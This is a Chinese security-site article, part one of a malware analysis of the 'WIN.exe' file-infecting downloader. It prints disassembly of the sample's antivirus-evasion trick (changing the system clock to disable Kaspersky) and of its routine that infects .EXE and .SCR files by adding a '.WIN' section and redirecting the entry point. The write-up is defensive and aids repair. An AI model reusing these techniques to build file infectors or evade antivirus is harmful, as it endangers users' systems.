通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 爱心红客 电信网通铁通移动 在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 红客教程 >> 网络编程 >> 文章正文
感染型下载者WIN.exe部分行为分析(上)
责任编辑:酷酷の鱼   更新日期:2008-7-2
 

来源:安全中国

本文涉及的问题:
1. 它是如何感染一个.EXE或.SCR文件的
2. 被感染文件被加入的代码内容及其行为
3. 基于1和2,简要说明被感染文件的修复问题

本文没有涉及的问题:
1. 该病毒如何修改注册表
2. 该病毒生成哪些病毒体文件(包括是否在磁盘根目录生成病毒副本)
3. 该病毒如何下载其他病毒
4. 该病毒感染哪些文件夹下的文件
以上这些内容,就待各位同仁去挖掘了。

样本来源:剑盟样本区http://bbs.janmeng.com/thread-675071-1-1.html
加壳情况:加UPX壳,直接用脱壳机脱壳(太懒了-_-)
脱壳后:基址13140000,入口点偏移00015570
分析方法:脱壳后OD载入看反汇编结果

病毒定性:(改节表)感染型下载者
前奏(准备工作):
创建名为wokaon的互斥对象,EnumWindows似乎是在找卡巴的窗口,找到后则先将系统年份改为1984年(7C0H),Sleep了20秒等卡巴挂掉后,再把时间改回来。这部分反汇编结果:
***************************************************************************************************
13155581 68 68561513     push 13155668                                   ; ASCII "wokaon"
13155586 6A 00           push 0
13155588 6A 00           push 0
1315558A E8 C508FFFF     call <CreateMutex>                            ;Delphi封装函数
1315558F 8BD8          mov     ebx, eax
13155591 E8 8609FFFF     call <jmp.&KERNEL32.GetLastError>
13155596 3D B7000000     cmp     eax, 0B7
1315559B 0F84 BA000000 je    1315565B
131555A1 C605 A8791513 0>mov     byte ptr [131579A8], 0
131555A8 6A 00           push 0
131555AA 68 A4531513     push 131553A4
131555AF E8 800AFFFF     call <jmp.&user32.EnumWindows>
131555B4 803D A8791513 0>cmp     byte ptr [131579A8], 0
131555BB 75 07           jnz     short 131555C4
131555BD E8 F2EAFFFF     call 131540B4
131555C2 EB 44           jmp     short 13155608
131555C4 68 98791513     push 13157998
131555C9 E8 5609FFFF     call <jmp.&KERNEL32.GetLocalTime>
131555CE 66:8B1D 9879151>mov     bx, word ptr [13157998]
131555D5 66:C705 9879151>mov     word ptr [13157998], 7C0
131555DE 68 98791513     push 13157998
131555E3 E8 DC09FFFF     call <jmp.&KERNEL32.SetLocalTime>
131555E8 68 204E0000     push 4E20
131555ED E8 CA64FFFF     call <jmp.&KERNEL32.Sleep>
131555F2 E8 BDEAFFFF     call 131540B4
131555F7 66:891D 9879151>mov     word ptr [13157998], bx
131555FE 68 98791513     push 13157998
13155603 E8 BC09FFFF     call <jmp.&KERNEL32.SetLocalTime>
13155608 68 10270000     push 2710
1315560D E8 AA64FFFF     call <jmp.&KERNEL32.Sleep>
***************************************************************************************************
创建两个线程,一个用于植入病毒和感染文件,另一个应该是用于下载的。
***************************************************************************************************
1315561C 68 90791513     push 13157990
13155621 6A 00           push 0
13155623 6A 00           push 0
13155625 68 88481513     push offset <ThreadFun1>
1315562A 6A 00           push 0
1315562C 6A 00           push 0
1315562E E8 4908FFFF     call <jmp.&KERNEL32.CreateThread>
13155633 68 94791513     push 13157994
13155638 6A 00           push 0
1315563A 6A 00           push 0
1315563C 68 14501513     push offset <ThreadFun2>
13155641 6A 00           push 0
13155643 6A 00           push 0
13155645 E8 3208FFFF     call <jmp.&KERNEL32.CreateThread>
***************************************************************************************************
我比较关心感染文件的内容。感染前有判断驱动器属性,不过Delphi对此封装得太多,我看call看得眼花。所以它是哪些文件夹下的文件不感染,哪些文件夹下的文件被感染,这个我没有仔细看。
最后进入N多个call后找到对.EXE和.SCR文件进行感染的部分代码

一、病毒对.EXE和.SCR文件的PE结构进行识别并感染的部分分析
代码从13152D8C开始,先CreateFileA打开文件之后进行识别并感染。
部分进行感染的代码:
读DOS文件头,定位PE头:
***************************************************************************************************
13152E00 6A 00           push 0
13152E02 8D45 EC       lea     eax, dword ptr [ebp-14]
13152E05 50              push eax
13152E06 6A 40           push 40
13152E08 8D45 A8       lea     eax, dword ptr [ebp-58]
13152E0B 50              push eax
13152E0C 8B45 F4       mov     eax, dword ptr [ebp-C]
13152E0F 50              push eax
13152E10 E8 7F31FFFF     call <jmp.&KERNEL32.ReadFile>
13152E15 66:817D A8 4D5A cmp     word ptr [ebp-58], 5A4D       ;MZ
13152E1B 74 11           je    short 13152E2E
……………………
13152E2E 6A 00           push 0
13152E30 6A 00           push 0
13152E32 8B45 E4       mov     eax, dword ptr [ebp-1C]       ;算一下,ebp-1C=ebp-58+3C,在上面的ReadFile之后,这里正是e_lfanew,即到PE头的偏移
13152E35 50              push eax
13152E36 8B45 F4       mov     eax, dword ptr [ebp-C]
13152E39 50              push eax
13152E3A E8 7D31FFFF     call <jmp.&KERNEL32.SetFilePointer>
***************************************************************************************************
读PE头,得到节数:
***************************************************************************************************
13152E3F 6A 00           push 0
13152E41 8D45 EC       lea     eax, dword ptr [ebp-14]
13152E44 50              push eax
13152E45 68 F8000000     push 0F8
13152E4A 8D85 B0FEFFFF lea     eax, dword ptr [ebp-150]
13152E50 50              push eax
13152E51 8B45 F4       mov     eax, dword ptr [ebp-C]
13152E54 50              push eax
13152E55 E8 3A31FFFF     call <jmp.&KERNEL32.ReadFile>
13152E5A 81BD B0FEFFFF 5>cmp     dword ptr [ebp-150], 4550    ;"PE\0\0"
13152E64 74 11           je    short 13152E77
…………………………
13152E77 33FF          xor     edi, edi
13152E79 33C0          xor     eax, eax
13152E7B 8945 F0       mov     dword ptr [ebp-10], eax
13152E7E 0FB79D B6FEFFFF movzx ebx, word ptr [ebp-14A]                    ; 算一下,ebp-14A=ebp-150+06,正好是IMAGE_NT_HEADERS结构中的NumberOfSections
***************************************************************************************************
循环读每一个IMAGE_SECTION_HEADER结构,对比其名字是否是.WIN,以判断是否已感染,并得到其他信息:
***************************************************************************************************
13152E85 4B              dec     ebx
13152E86 85DB          test ebx, ebx
13152E88 7C 60           jl    short 13152EEA                      ;最后一节已完,跳出
13152E8A 43              inc     ebx
13152E8B 6A 00           push 0
13152E8D 8D45 EC       lea     eax, dword ptr [ebp-14]
13152E90 50              push eax
13152E91 6A 28           push 28
13152E93 56              push esi
13152E94 8B45 F4       mov     eax, dword ptr [ebp-C]
13152E97 50              push eax
13152E98 E8 F730FFFF     call <jmp.&KERNEL32.ReadFile>
13152E9D 8D85 84FEFFFF lea     eax, dword ptr [ebp-17C]
13152EA3 8BD6          mov     edx, esi
13152EA5 E8 9A12FFFF     call 13144144
13152EAA 8B85 84FEFFFF mov     eax, dword ptr [ebp-17C]
13152EB0 BA 90301513     mov     edx, 13153090                            ; ASCII ".WIN"
13152EB5 E8 7A14FFFF     call <CmpString>
13152EBA 75 11           jnz     short 13152ECD                             ; 不是.WIN节
13152EBC C745 F8 0200000>mov     dword ptr [ebp-8], 2                       ; 是.WIN节,已被感染过
13152EC3 E8 900BFFFF     call 13143A58
13152EC8 E9 87010000     jmp     13153054                                   ; 跳过感染的代码
13152ECD 8B46 14       mov     eax, dword ptr [esi+14]                    ; 不是.WIN节,直接来到这里
13152ED0 0346 10       add     eax, dword ptr [esi+10]
13152ED3 3BF8          cmp     edi, eax
13152ED5 73 02           jnb     short 13152ED9
13152ED7 8BF8          mov     edi, eax
13152ED9 8B46 0C       mov     eax, dword ptr [esi+C]
13152EDC 0346 08       add     eax, dword ptr [esi+8]
13152EDF 3B45 F0       cmp     eax, dword ptr [ebp-10]
13152EE2 76 03           jbe     short 13152EE7
13152EE4 8945 F0       mov     dword ptr [ebp-10], eax
13152EE7 4B              dec     ebx
13152EE8   ^ 75 A1           jnz     short 13152E8B
***************************************************************************************************
接着向堆栈中写新的IMAGE_SECTION_HEADER,修改堆栈中之前得到的PE头和DOS头结构的相关量(如节数,入口点等),并写回原文件相应位置。
其中:
***************************************************************************************************
13152EEA BB 882D1513     mov     ebx, 13152D88
13152EEF 81EB F82B1513 sub     ebx, 13152BF8
***************************************************************************************************
13152BF8到13152D88的位置,保存有将被写入被感染文件的可执行代码。
***************************************************************************************************
13152F8C 8B46 0C       mov     eax, dword ptr [esi+C]
13152F8F 05 C5000000     add     eax, 0C5
13152F94 81C0 042C1513 add     eax, 13152C04
13152F9A 81E8 F82B1513 sub     eax, 13152BF8
13152FA0 8985 D8FEFFFF mov     dword ptr [ebp-128], eax
***************************************************************************************************
13152C04处的代码,将成为程序的入口点指向的代码。

  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    普通文章 诺顿误杀门判决出 赛门铁克赔偿248元
    普通文章 可执行文件的 MD5 碰撞出现
    推荐文章 推荐:用好Win2008 Server防火墙确保系统更安全
    普通文章 系统对Image File Execution Options的检测流程小探
    普通文章 感染型下载者WIN.exe部分行为分析(下)
    普通文章 感染型下载者WIN.exe部分行为分析(上)
    普通文章 有效防范CC的新思路 - CC Cookie
    普通文章 SQL数据库挂马解决方案
    普通文章 代理服务器软件CCProxy用户快速入门
    普通文章 十个常用网络密码安全保护措施
    热门文章
    普通文章华军每周电脑病毒综合播报
    普通文章三成网络管理员曾浏览同事保密信息
    普通文章彻底防范网页木马,给IE穿上防弹衣!
    普通文章教菜鸟彻底干掉灰鸽子
    普通文章瑞典通过窃听法案 堪比美国
    普通文章美国高中生篡改成绩恐遭重刑
    普通文章命令行快捷方式一键清除IE7记录
    普通文章实用为先:企业内网安全管理经验谈
    推荐文章眼见为虚——解析映像劫持技术
    普通文章浅析浏览器的跨域安全问题
    精彩专题